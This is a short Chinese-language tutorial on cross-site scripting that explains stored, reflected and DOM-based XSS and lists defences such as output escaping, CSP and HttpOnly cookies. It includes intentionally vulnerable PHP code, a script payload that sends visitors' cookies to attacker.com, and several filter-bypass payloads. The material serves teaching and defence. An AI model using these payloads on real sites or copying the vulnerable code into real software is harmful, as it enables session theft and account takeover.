什么是 XSS?
XSS(Cross-Site Scripting)即跨站脚本攻击,是 Web 应用中最常见的安全漏洞之一。攻击者通过在页面中注入恶意 JavaScript 代码,当其他用户访问该页面时,代码会在用户浏览器中执行,从而窃取 Cookie、会话令牌,或进行钓鱼攻击。
XSS 的三种类型
1. 存储型 XSS(Stored XSS)
恶意代码被永久存储在目标服务器的数据库或文件中。当用户访问包含该数据的页面时,代码被执行。危害最大。
2. 反射型 XSS(Reflected XSS)
恶意代码作为用户请求的一部分,被服务器接收并「反射」回用户浏览器。通常通过 URL 参数传播。
3. DOM 型 XSS(DOM-based XSS)
完全在客户端执行,通过操作 DOM 对象注入恶意代码。
攻击示例
存储型 XSS 最经典的场景是留言板。用户提交的内容被直接存入数据库,其他用户访问时内容被直接渲染:
// 存在漏洞的代码(仅供学习)
$content = $_POST['content'];
$db->query("INSERT INTO comments (content) VALUES ('$content')");
// 输出时直接渲染
echo $row['content']; // 危险!攻击者提交:
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>所有访问该页面的用户都会触发此代码,Cookie 被发送到攻击者服务器。
防御措施
1. htmlspecialchars():输出时转义 < > & 等字符
2. Content Security Policy (CSP):通过 HTTP 头限制脚本来源
3. HttpOnly Cookie:禁止 JavaScript 读取 Cookie
4. 输入验证:白名单过滤,移除危险标签和属性
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// ENT_QUOTES 同时转义单引号和双引号绕过技术
大小写混合
<ScRiPt>alert(1)</sCrIpT>事件处理器
<img src=x onerror=alert(1)>
<body onload=alert(1)>数据协议
<a href="data:text/html,<script>alert(1)</script>">click</a>
MSG 评论 (0)
暂无评论,来发表第一条吧